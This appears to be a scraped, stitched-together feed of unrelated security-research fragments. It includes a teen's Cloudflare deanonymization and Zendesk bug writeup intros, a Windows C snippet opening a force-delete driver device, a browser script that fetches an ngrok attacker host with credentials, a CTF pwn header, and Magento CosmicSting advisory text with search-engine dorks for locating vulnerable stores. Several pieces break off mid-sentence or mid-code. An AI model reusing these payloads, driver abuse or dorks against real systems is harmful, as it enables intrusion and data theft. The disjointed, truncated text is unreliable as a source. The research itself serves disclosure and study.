Relax, I only have one Sunday to work on idea, literally my weekend project. So I tried Deepseek to see if it can help. Surprisingly, it works and it saves me another weekend...
Just chat.deepseek.com (cost = free) with prompts adapted from this gist.
hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.
3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.
I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:
By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k
| #include <Windows.h> | |
| #include <stdio.h> | |
| const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)"; | |
| const char* strDeviceName = R"(\\.\IMFForceDelete123)"; | |
| int main() { | |
| DWORD dwReturnVal = 0; | |
| DWORD dwBytesReturned = 0; | |
| BOOL bRes = FALSE; |
hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:
If you've spent some time online, you’ve probably come across Zendesk.
Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.
Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.
| <body></body> | |
| <script> | |
| (async () => { | |
| const target = "https://XXX.ngrok-free.app"; | |
| // Warmup | |
| await fetch(target, { | |
| mode: "no-cors", | |
| credentials: "include", | |
| }); |
Original report
IERAE CTF had one of the coolest pwn challenges I've done in the while. It was written by hugeh0ge.
Here's the full source:
// gcc chal.c -fno-stack-protector -static -o chal
#include <stdio.h>
#include 
| 🔥Magento XXE CVE-2024-34102: A newly discovered vulnerability dubbed “CosmicSting” jeopardizes millions of online stores | |
| built on Adobe Commerce and Magento platforms. | |
| ⚠️CosmicSting enables attackers to gain unauthorized access to sensitive files, including those containing passwords. | |
| When combined with a recent Linux bug (CVE-2024-2961),the vulnerability can be escalated to remote code execution. | |
| 📣Dorks: | |
| Hunter: http://product.name="Adobe Magento" | |
| FOFA: app="Adobe-Magento" | |
| SHODAN: http.html:"magento-template" |
This year I created a copycat challenge of another-csp from DiceCTF Quals 2024. It was only solved by 1 team, DiceGang. Although the challenge looked almost identical, the solutions should be strictly different.
The intended solution of the original challenge was to leak one bit of information per admin visit based on crashing the browser renderer process with malicious CSS. (The below snippet was crashing the browser, but currently it's fixed)
